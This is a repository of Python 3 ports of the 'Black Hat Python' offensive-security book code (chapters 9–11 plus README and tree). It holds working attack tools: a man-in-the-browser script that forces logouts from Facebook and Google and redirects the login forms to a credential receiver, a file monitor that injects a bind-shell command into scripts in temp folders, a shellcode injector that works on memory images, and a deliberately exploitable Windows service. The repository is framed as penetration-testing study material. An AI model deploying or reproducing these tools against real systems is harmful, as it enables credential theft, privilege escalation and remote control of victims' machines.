-------------------------------------------------------------------------------- 1 | import time 2 | import urllib.parse 3 | import win32com.client 4 | 5 | data_receiver = "http://localhost:8080/" 6 | 7 | target_sites = { 8 | "www.facebook.com": { 9 | "logout_url": None, 10 | "logout_form": "logout_form", 11 | "login_form_index": 0, 12 | "owned": False 13 | }, 14 | "accounts.google.com": { 15 | "logout_url": "https://accounts.google.com/Logout?hl=en&continue=" 16 | "https://accounts.google.com/" 17 | "ServiceLogin%3Fservice%3Dmail", 18 | "logout_form": None, 19 | "login_form_index": 0, 20 | "owned": False 21 | } 22 | } 23 | 24 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 25 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 26 | 27 | clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' # internet explorer class ID 28 | 29 | windows = win32com.client.Dispatch(clsid) 30 | 31 | def wait_for_browser(browser): 32 | # wait for the browser to finish loading a page 33 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 34 | time.sleep(0.1) 35 | return 36 | 37 | while True: 38 | for browser in windows: 39 | url = urllib.parse.urlparse(browser.LocationUrl) 40 | if url.hostname in target_sites: 41 | if target_sites[url.hostname]["owned"]: 42 | continue 43 | # if there's a url we can just redirect 44 | if target_sites[url.hostname]["logout_url"]: 45 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 46 | wait_for_browser(browser) 47 | else: 48 | # retrieve all elements in the document 49 | full_doc = browser.Document.all 50 | # iterate looking for the logout form 51 | for obj in full_doc: 52 | try: 53 | # find the logout form and submit it 54 | if obj.id == target_sites[url.hostname]["logout_form"]: 55 | obj.submit() 56 | wait_for_browser(browser) 57 | except: 58 | pass 59 | 60 | try: 61 | # now modify the login form 62 | login_index = target_sites[url.hostname]["login_form_index"] 63 | login_page = urllib.parse.quote(browser.LocationUrl) 64 | browser.Document.forms[login_index].action = f"{data_receiver}{login_page}" 65 | target_sites[url.hostname]["owned"] = True 66 | except: 67 | pass 68 | time.sleep(5) 69 | -------------------------------------------------------------------------------- /Chapter10/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the reader 2 | - The bhservice folder contains material provided by the book for testing purpose. At the moment of writing the link provided by the author was not working but I managed to find it online. 3 | - `file_monitor.py` was, accordingly to book notes, inspired by http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 4 | - `PyMI` provides a Python native module wrapper over the Windows Management Infrastructure (MI) API. It includes also a drop-in replacement for the Python WMI module used in the book, proving much faster execution times and no dependency on pywin32. Get it with `pip install PyMI`. 5 | - Had some issues with `import wmi`. You may check here: https://stackoverflow.com/questions/20654047/cant-import-wmi-python-module 6 | - Testing for this chapter is not finished. I am surely able to grab the process in `file_monitor.py` but had not yet successfully tested an injection. 7 | - Let me say that, after going thru 90% of the book, the author offer just zero advice on even most common issues and troubleshooting. 8 | -------------------------------------------------------------------------------- /Chapter10/bhservice/bhservice.py: -------------------------------------------------------------------------------- 1 | import os 2 | import servicemanager 3 | import shutil 4 | import subprocess 5 | import sys 6 | 7 | import win32event 8 | import win32service 9 | import win32serviceutil 10 | 11 | SRCDIR = 'C:\\Users\\tim\\work' 12 | TGTDIR = 'C:\\Windows\\TEMP' 13 | 14 | class BHServerSvc(win32serviceutil.ServiceFramework): 15 | _svc_name_ = "BlackHatService" 16 | _svc_display_name_ = "Black Hat Service" 17 | _svc_description_ = ("Executes VBScripts at regular intervals." + 18 | " What could possibly go wrong?") 19 | 20 | def __init__(self, args): 21 | self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs') 22 | self.timeout = 1000 * 60 23 | 24 | win32serviceutil.ServiceFramework.__init__(self, args) 25 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) 26 | 27 | def SvcStop(self): 28 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) 29 | win32event.SetEvent(self.hWaitStop) 30 | 31 | def SvcDoRun(self): 32 | self.ReportServiceStatus(win32service.SERVICE_RUNNING) 33 | self.main() 34 | 35 | def main(self): 36 | while True: 37 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, self.timeout) 38 | if ret_code == win32event.WAIT_OBJECT_0: 39 | servicemanager.LogInfoMsg("Service is stopping") 40 | break 41 | 42 | src = os.path.join(SRCDIR, 'bhservice_task.vbs') 43 | shutil.copy(src, self.vbs) 44 | subprocess.call("cscript.exe %s" % self.vbs, shell=False) 45 | os.unlink(self.vbs) 46 | 47 | if __name__ == '__main__': 48 | if len(sys.argv) == 1: 49 | servicemanager.Initialize() 50 | servicemanager.PrepareToHostSingle(BHServerSvc) 51 | servicemanager.StartServiceCtrlDispatcher() 52 | else: 53 | win32serviceutil.HandleCommandLine(BHServerSvc) 54 | -------------------------------------------------------------------------------- /Chapter10/bhservice/bhservice_task.vbs.txt: -------------------------------------------------------------------------------- 1 | ' Adapted from: 2 | ' http://gallery.technet.microsoft.com/scriptcenter/03f21031-07de-4a26-9a04-4871cd425870 3 | On Error Resume Next 4 | Dim fso 5 | Set fso = WScript.CreateObject("Scripting.Filesystemobject") 6 | Set f = fso.OpenTextFile("C:\windows\temp\bhpoutput.txt", 2) 7 | strComputer = "." 8 | Set objWMIService = GetObject("winmgmts:" _ 9 | & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") 10 | 11 | Set colSettings = objWMIService.ExecQuery _ 12 | ("Select * from Win32_OperatingSystem") 13 | 14 | For Each objOperatingSystem in colSettings 15 | f.WriteLine "OS Name: " & objOperatingSystem.Name & vbCrLf 16 | f.WriteLine "Version: " & objOperatingSystem.Version & vbCrLf 17 | f.WriteLine "Service Pack: " & _ 18 | objOperatingSystem.ServicePackMajorVersion _ 19 | & "." & objOperatingSystem.ServicePackMinorVersion & vbCrLf 20 | f.WriteLine "OS Manufacturer: " & objOperatingSystem.Manufacturer & vbCrLf 21 | f.WriteLine "Windows Directory: " & _ 22 | objOperatingSystem.WindowsDirectory & vbCrLf 23 | f.WriteLine "Locale: " & objOperatingSystem.Locale & vbCrLf 24 | f.WriteLine "Available Physical Memory: " & _ 25 | objOperatingSystem.FreePhysicalMemory & vbCrLf 26 | f.WriteLine "Total Virtual Memory: " & _ 27 | objOperatingSystem.TotalVirtualMemorySize & vbCrLf 28 | f.WriteLine "Available Virtual Memory: " & _ 29 | objOperatingSystem.FreeVirtualMemory & vbCrLf 30 | f.WriteLine "Size stored in paging files: " & _ 31 | objOperatingSystem.SizeStoredInPagingFiles & vbCrLf 32 | Next 33 | 34 | Set colSettings = objWMIService.ExecQuery _ 35 | ("Select * from Win32_ComputerSystem") 36 | 37 | For Each objComputer in colSettings 38 | f.WriteLine "System Name: " & objComputer.Name & vbCrLf 39 | f.WriteLine "System Manufacturer: " & objComputer.Manufacturer & vbCrLf 40 | f.WriteLine "System Model: " & objComputer.Model & vbCrLf 41 | f.WriteLine "Time Zone: " & objComputer.CurrentTimeZone & vbCrLf 42 | f.WriteLine "Total Physical Memory: " & _ 43 | objComputer.TotalPhysicalMemory & vbCrLf 44 | Next 45 | 46 | Set colSettings = objWMIService.ExecQuery _ 47 | ("Select * from Win32_Processor") 48 | 49 | For Each objProcessor in colSettings 50 | f.WriteLine "System Type: " & objProcessor.Architecture & vbCrLf 51 | f.WriteLine "Processor: " & objProcessor.Description & vbCrLf 52 | Next 53 | 54 | Set colSettings = objWMIService.ExecQuery _ 55 | ("Select * from Win32_BIOS") 56 | 57 | For Each objBIOS in colSettings 58 | f.WriteLine "BIOS Version: " & objBIOS.Version & vbCrLf 59 | Next 60 | 61 | f.Close 62 | -------------------------------------------------------------------------------- /Chapter10/file_monitor.py: -------------------------------------------------------------------------------- 1 | import tempfile 2 | import threading 3 | import win32file 4 | import win32con 5 | import os 6 | 7 | # common temp file directories 8 | dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()] 9 | 10 | # file modification constants 11 | FILE_CREATED = 1 12 | FILE_DELETED = 2 13 | FILE_MODIFIED = 3 14 | FILE_RENAMED_FROM = 4 15 | FILE_RENAMED_TO = 5 16 | 17 | # extension based code snippets to inject 18 | file_types = {} 19 | command = "C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c" 20 | file_types[".vbs"] = ["\r\n'bhpmarker\r\n", "\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" % command] 21 | file_types[".bat"] = ["\r\nREM bhpmarker\r\n", "\r\n%s\r\n" % command] 22 | file_types[".ps1"] = ["\r\n#bhpmarker", "Start-Process \"%s\"" % command] 23 | 24 | def inject_code(full_filename, extension, contents): 25 | # check if our marker is already in the file 26 | if file_types[extension][0] in contents: 27 | return 28 | 29 | # if not, let's inject marker and code 30 | full_contents = file_types[extension][0] 31 | full_contents += file_types[extension][1] 32 | full_contents += contents 33 | 34 | with open(full_filename, "wb") as fd: 35 | fd.write(full_contents.encode()) 36 | 37 | print("[\o/] Injected code") 38 | 39 | return 40 | 41 | def start_monitor(path_to_watch): 42 | # create a thread for each monitoring run 43 | file_list_directory = 0x0001 44 | 45 | h_directory = win32file.CreateFile( 46 | path_to_watch, 47 | file_list_directory, 48 | win32con.FILE_SHARE_READ 49 | | win32con.FILE_SHARE_WRITE 50 | | win32con.FILE_SHARE_DELETE, 51 | None, 52 | win32con.OPEN_EXISTING, 53 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 54 | None) 55 | 56 | while True: 57 | try: 58 | results = win32file.ReadDirectoryChangesW(h_directory, 1024, True, 59 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME, 60 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME, 61 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES, 62 | win32con.FILE_NOTIFY_CHANGE_SIZE, 63 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE, 64 | win32con.FILE_NOTIFY_CHANGE_SECURITY, 65 | None, None) 66 | 67 | for action, file_name in results: 68 | full_filename = os.path.join(path_to_watch, file_name) 69 | 70 | if action == FILE_CREATED: 71 | print(f"[+] Created {full_filename}") 72 | elif action == FILE_DELETED: 73 | print(f"[-] Deleted {full_filename}") 74 | elif action == FILE_MODIFIED: 75 | print(f"[*] Modified {full_filename}") 76 | 77 | # dump the file contents 78 | print("[vvv] Dumping contents...") 79 | 80 | try: 81 | with open(full_filename, "rb") as fd: 82 | contents = fd.read() 83 | print(contents) 84 | print("[^^^] Dump completed") 85 | filename, extension = os.path.splitext(full_filename) 86 | if extension in file_types: 87 | inject_code(full_filename, extension, contents) 88 | except Exception as e: 89 | print(f"[!!!] Failed! Error: {e}") 90 | 91 | elif action == FILE_RENAMED_FROM: 92 | print(f"[ > ] Renamed from {full_filename}") 93 | elif action == FILE_RENAMED_TO: 94 | print(f"[ < ] Renamed to: {full_filename}") 95 | else: 96 | print(f"[???] Unknown: {full_filename}") 97 | 98 | except: 99 | pass 100 | 101 | for path in dirs_to_monitor: 102 | monitor_thread = threading.Thread(target=start_monitor, args=(path,)) 103 | print(f"Spawing monitoring thread for path: {path}") 104 | monitor_thread.start() 105 | -------------------------------------------------------------------------------- /Chapter10/process_monitor.py: -------------------------------------------------------------------------------- 1 | import win32con 2 | import win32api 3 | import win32security 4 | import wmi 5 | import os 6 | 7 | LOG_FILE = "process_monitor_log.csv" 8 | 9 | def get_process_privileges(pid): 10 | try: 11 | # obtain a handle to the target process 12 | hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION, 13 | False, 14 | pid) 15 | 16 | # open main process token 17 | htok = win32security.OpenProcessToken(hproc, win32con.TOKEN_QUERY) 18 | 19 | # retrieve the list of privileges enabled 20 | privs = win32security.GetTokenInformation(htok, win32security.TokenPrivileges) 21 | 22 | # iterate over privileges and output the ones that are enabled 23 | priv_list = [] 24 | for priv_id, priv_flags in privs: 25 | # check if privilege is enabled 26 | if priv_flags == 3: 27 | priv_list.append(win32security.LookupPrivilegeName(None, priv_id)) 28 | 29 | except: 30 | priv_list.append("N/A") 31 | 32 | return "|".join(priv_list) 33 | 34 | def log_to_file(message): 35 | with open(LOG_FILE, "ab") as fd: 36 | fd.write(f"{message}\r\n") 37 | return 38 | 39 | # create a log file header 40 | if not os.path.isfile(LOG_FILE): 41 | log_to_file("Time,User,Executable,CommandLine,PID,ParentPID,Privileges") 42 | 43 | # instantiate the WMI interface 44 | c = wmi.WMI() 45 | 46 | # create our process monitor 47 | process_watcher = c.Win32_Process.watch_for("creation") 48 | 49 | while True: 50 | try: 51 | new_process = process_watcher() 52 | proc_owner = new_process.GetOwner() 53 | proc_owner = f"{proc_owner[0]}\\{proc_owner[2]}" 54 | create_date = new_process.CreationDate 55 | executable = new_process.ExecutablePath 56 | cmdline = new_process.CommandLine 57 | pid = new_process.ProcessId 58 | parent_pid = new_process.ParentProcessId 59 | 60 | privileges = get_process_privileges(pid) 61 | 62 | process_log_message = f"{create_date}, {proc_owner}, {executable}, {cmdline}, {pid}, {parent_pid}, {privileges}." 63 | 64 | print(f"{process_log_message}\r\n") 65 | 66 | log_to_file(process_log_message) 67 | except: 68 | pass 69 | -------------------------------------------------------------------------------- /Chapter11/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the readers 2 | 3 | #### Volatility 4 | 5 | You need Volatility for this chapter. Get it here https://code.google.com/archive/p/volatility/ or even better check https://github.com/volatilityfoundation/volatility. For easy ref the zip file is included here too. You can both install it or run the `vol.py` standalone in your fav folder. 6 | 7 | The book explain a very little-to-none about how to use Volatility. Here are some useful resources: 8 | - https://support.eset.com/en/kb380-how-do-i-generate-a-memory-dump-manually 9 | - https://heisenberk.github.io/Profile-Memory-Dump/ 10 | - https://book.hacktricks.xyz/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples 11 | - https://github.com/volatilityfoundation/volatility/wiki 12 | - This is specific if you're running win10 https://blog.cyberhacktics.com/memory-forensics-on-windows-10-with-volatility/ 13 | 14 | #### Immunity Debugger 15 | 16 | You can get Immunity Debugger (required to finalize the last pj) here https://www.immunityinc.com/products/debugger/.
17 | To use the `immlib` module required for the code, you could follow this: 18 | 19 | `import sys`
20 | `sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger')`
21 | `sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger/Libs')`
22 | 23 | `import immlib`
24 | 25 | #### Windows Registry 26 | 27 | Also, dealing with Windows registry, those should come in handy: 28 | - https://www.top-password.com/blog/tag/windows-sam-registry-file/ 29 | - https://en.wikipedia.org/wiki/Security_Account_Manager 30 | - https://ad-pdf.s3.amazonaws.com/Registry%20Offsets%209-8-08.pdf 31 | 32 | The code of this last chapter is still to be dutyfully tested. 33 | -------------------------------------------------------------------------------- /Chapter11/code_coverage.py: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger') 3 | sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger/Libs') 4 | 5 | from immlib import * 6 | 7 | class CcHook(LogBpHook): 8 | def __init__(self): 9 | LogBpHook.__init__(self) 10 | self.imm = Debugger() 11 | 12 | def run(self, regs): 13 | self.imm.log("%08x" % regs['EIP'], regs['EIP']) 14 | self.imm.deleteBreakpoint(regs["EIP"]) 15 | return 16 | 17 | def main(args): 18 | imm = Debugger() 19 | 20 | calc = imm.getModule("calc.exe") 21 | imm.analyseCode(calc.getCodebase()) 22 | 23 | functions = imm.getAllFunctions(calc.getCodebase()) 24 | 25 | hooker = CcHook() 26 | 27 | for function in functions: 28 | hooker.add("%08x" % function, function) 29 | 30 | return f"Tracking {len(functions)} functions" 31 | -------------------------------------------------------------------------------- /Chapter11/code_inject.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import struct 3 | import volatility.conf as conf 4 | import volatility.registry as registry 5 | import volatility.commands as commands 6 | import volatility.addrspace as addrspace 7 | import volatility.plugins.taskmods as taskmods 8 | 9 | equals_button = 0x01005D51 10 | 11 | memory_file = "Win10X64.vmem" 12 | slack_space = None 13 | trampoline_offset = None 14 | 15 | # read in our shellcode 16 | with open("cmeasure.bin", "rb") as sc_fd: 17 | sc = sc_fd.read() 18 | 19 | sys.path.append("/volatility3.1.0.0") 20 | 21 | registry.PluginImporter() 22 | config = conf.ConfObject() 23 | 24 | config.parse_options() 25 | config.PROFILE = "Win10X64" 26 | config.LOCATION = f"file://{memory_file}" 27 | 28 | registry.register_global_options(config, commands.Command) 29 | registry.register_global_options(config, addrspace.BaseAddressSpace) 30 | 31 | p = taskmods.PSList(config) 32 | 33 | for process in p.calculate(): 34 | if str(process.ImageFileName) == "calc.exe": 35 | print(f"[*] Found calc.exe with PID {process.UniqueProcessId}") 36 | print("[*] Hunting for physical offsets...please wait") 37 | 38 | address_space = process.get_process_address_space() 39 | pages = address_space.get_available_pages() 40 | 41 | for page in pages: 42 | physical = address_space.vtop(page[0]) 43 | if physical is not None: 44 | if slack_space is None: 45 | 46 | with open(memory_file, "r+") as fd: 47 | fd.seek(physical) 48 | buf = fd.read(page[1]) 49 | try: 50 | offset = buf.index("\x00" * len(sc)) 51 | slack_space = page[0] + offset 52 | 53 | print("[*] Found good shellcode location!") 54 | print("[*] Virtual address: 0x%08x" % slack_space) 55 | print("[*] Physical address: 0x%08x" % (physical + offset)) 56 | print("[*] Injecting shellcode.") 57 | 58 | fd.seek(physical + offset) 59 | fd.write(sc.decode()) 60 | fd.flush() 61 | 62 | # create our trampoline 63 | tramp = "\xbb%s" % struct.pack(" 13 | Although its publication is quite recent (2014), it is all written in Python 2.7.
14 | 15 | You can find the book on Amazon, 16 | while the official book page is on No Starch Press website.
17 | 18 | You should be able to download the book's source code from here http://www.nostarch.com/download/BHP-Code.zip, but apparently the link is broken or the file has been deleted (checked October 2021).
19 | Please note that I did the whole job straight from book pages with no codes available (and believe me, my nearsightedness did not appreciate XD).
20 | 21 | No Starch Press is offering also an Errata Corrige on the book code, but at the moment (November 2021) this section is actually 3 rows long :). 22 | 23 | -------------------------------- 24 | 25 | ### Reason for this repo 26 | I quite enjoyed the book, but as 2021 it looks quite outdated, not just for the choice of using Python 2.7.
27 | 28 | Deliberately, as expressed by the author, the scripts are written _rought & dirty_ to simulate the approach he uses during a penetration testing.
29 | However, this sometimes leads to code that is not very understandable, and not very efficient.
30 | 31 | Since I had to convert all the source codes anyway, to run them on my machine (Kali Linux VM + Win10 OS + Win10 VM + Python 3.9) I decided to go extra-mile and save them in a repo, in the meantime trying to optimize the code and making it a little more elegant (see below). 32 | 33 | The code in the book does not always run flawlessy. It may depends on the local configuration on your machine, the test you are running, and also, outdated code presented in the book. So expect a bit of tweak here and there.
As a rule of thumb I found of great help the many threads already opened on Stack Overflow.
34 | Some good advices also from Medium Black Hat Python.
35 | I also starred this repo from EONRaider for reference, that I might use in the case I'll be getting stuck: 36 | EON RIDER Repo. 37 | 38 | -------------------------------- 39 | 40 | ### Improvement made from the book's code 41 | - Refactoring to Python 3 and code testing (unless otherwise specified) 42 | - Update to PEP8 standards 43 | - Upgraded readability (es. comments, indentation, variable names, file names) 44 | - Update of obsolete methods (es. print -s %) 45 | - Better context management (es. open with, server.close()) 46 | - Disregard of unsupported libs 47 | - Minor tweaks and bugs found while testing the code 48 | - Search for additional files requested throughout the book and not provided, or provided at outdated links, and included in individual chapters 49 | - Additional information and resources that I searched for and found useful as I made my way through the book 50 | 51 | -------------------------------- 52 | 53 | ### What you'll find in the repo 54 | Chapter summary and titles are my own, for clarity. The book uses different titles and has no chapter summary.
55 | When needed, an additional `README.md`has been added inside each chapter folder for clarification and further details. 56 | 57 | #### Chapter 1: Intro 58 | - This is an introductory chapter and it's mostly about installing Linux VM and Python. No coding here. 59 | 60 | #### Chapter 2: Networking Basics 61 | - bhp_net.py 62 | - bhp_server.py 63 | - bhp_reverse_ssh_cmd.py 64 | - bhp_ssh_cmd.py 65 | - rforward.py 66 | - tcp_server.py 67 | - tcp_client.py 68 | - tcp_proxy.py 69 | - udp_client.py 70 | - test_rsa.key 71 | 72 | #### Chapter 3: Sniffing Tools 73 | - scanner.py 74 | - sniffer.py 75 | - sniffer_ip_header_decode.py 76 | - sniffer_with_icmp.py 77 | 78 | #### Chapter 4: Scapy & ARP Poisoning (with an extra flavour of image reco) 79 | - arper.py 80 | - mail_sniffer.py 81 | - pic_carver.py 82 | 83 | #### Chapter 5: CMS Brute Force 84 | - content_bruter.py 85 | - joomla_killer.py 86 | - web_app_mapper.py 87 | - wordpress_killer.py 88 | 89 | #### Chapter 6: Burp Suite Integrations 90 | - bhp_bing.py 91 | - bhp_fuzzer.py 92 | - bhp_wordlist.py 93 | 94 | #### Chapter 7: GitHub Trojan 95 | - folder structure 96 | - git_trojan.py 97 | 98 | #### Chapter 8: Trojan for Windows OS 99 | - keylogger.py 100 | - sandbox_detector.py 101 | - screenshotter.py 102 | - shell_exec.py 103 | 104 | #### Chapter 9: Hacking thru Internet Explorer 105 | - cred_server.py 106 | - decryptor.py 107 | - ie_exfil.py 108 | - keygen.py 109 | - mitb.py 110 | 111 | #### Chapter 10: Windows Process Monitoring and File Injection 112 | - file_monitor.py 113 | - process_monitor.py 114 | 115 | #### Chapter 11: Windows Forensics 116 | - grab_hashes.py 117 | - code_coverage.py 118 | - grab_hashes.py 119 | 120 | -------------------------------- 121 | 122 | ### Contributions 123 | All contributions are welcome :).
124 | Since I have not (yet?) made a specific routine for that, please follow a best-practice, common-sense based approach, opening an Issue first and starting a discussion on the change you'd wish to make.
125 | As a starting point, in each chapter folder I stated any known issues if any.
126 | A list of contributor will be displayed in the README of the repository. 127 | 128 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | brotlipy~=0.7.0 2 | burpsuite~=0.0.3 3 | certifi~=2021.10.8 4 | cffi~=1.15.0 5 | chardet~=4.0.0 6 | charset-normalizer~=2.0.0 7 | cryptography~=35.0.0 8 | github3.py~=1.2.0 9 | idna~=3.1 10 | kamene~=0.32 11 | lxml~=4.6.4 12 | opencv-python~=4.5.4 13 | paramiko~=2.8.0 14 | pbr~=5.7.0 15 | pip~=21.3.1 16 | pycparser~=2.21 17 | pycryptodome~=3.11.0 18 | PyMI~=1.0.6 19 | pyOpenSSL~=21.0.0 20 | PySocks~=1.7.1 21 | pywin32~=302 22 | pyWinhook~=1.6.2 23 | requests~=2.26.0 24 | setuptools~=58.5.3 25 | six~=1.16.0 26 | urllib3~=1.26.7 27 | wheel~=0.37.0 28 | win-inet-pton~=1.1.0 29 | -------------------------------------------------------------------------------- /tree.txt: -------------------------------------------------------------------------------- 1 | Elenco del percorso delle cartelle per il volume Personale 2 | 3 | D:. 4 | | BHPCode.zip 5 | | process_monitor_log.csv 6 | | tree.txt 7 | | 8 | +---Chapter 10 9 | | file_monitor.py 10 | | process_monitor.py 11 | | 12 | +---Chapter 11 13 | | | code_coverage.py 14 | | | code_inject.py 15 | | | grab_hashes.py 16 | | | volatility3-1.0.0.zip 17 | | | 18 | | \---volatility3-1.0.0 19 | | \---volatility3-1.0.0 20 | | | .gitignore 21 | | | .readthedocs.yml 22 | | | .style.yapf 23 | | | LICENSE.txt 24 | | | MANIFEST.in 25 | | | mypy.ini 26 | | | README.md 27 | | | setup.py 28 | | | vol.py 29 | | | vol.spec 30 | | | volshell.py 31 | | | volshell.spec 32 | | 33 | +---Chapter 2 34 | | bhp_net.py 35 | | bhp_reverse_ssh_cmd.py 36 | | bhp_ssh_cmd.py 37 | | bhp_ssh_server.py 38 | | tcp_client.py 39 | | tcp_proxy.py 40 | | tcp_server.py 41 | | udp_client.py 42 | | 43 | +---Chapter 3 44 | | scanner.py 45 | | sniffer.py 46 | | sniffer_ip_header_decode.py 47 | | sniffer_with_icmp.py 48 | | 49 | +---Chapter 4 50 | | arper.py 51 | | mail_sniffer.py 52 | | pic_carver.py 53 | | 54 | +---Chapter 5 55 | | | all.txt 56 | | | cain.txt 57 | | | content_bruter.py 58 | | | joomla_killer.py 59 | | | web_app_mapper.py 60 | | | wordpress_killer.py 61 | | | 62 | | \---.ipynb_checkpoints 63 | +---Chapter 6 64 | | bhp_bing.py 65 | | bhp_fuzzer.py 66 | | bhp_wordlist.py 67 | | 68 | +---Chapter 7 69 | | | git_trojan.py 70 | | | 71 | | +---config 72 | | | abc.json 73 | | | 74 | | +---data 75 | | | sample.txt 76 | | | 77 | | \---modules 78 | | dirlister.py 79 | | environment.py 80 | | 81 | +---Chapter 8 82 | | keylogger.py 83 | | sandbox_detector.py 84 | | screenshotter.py 85 | | shell_exec.py 86 | | 87 | \---Chapter 9 88 | cred_server.py 89 | decryptor.py 90 | ie_exfil.py 91 | keygen.py 92 | mitb.py 93 | 94 | --------------------------------------------------------------------------------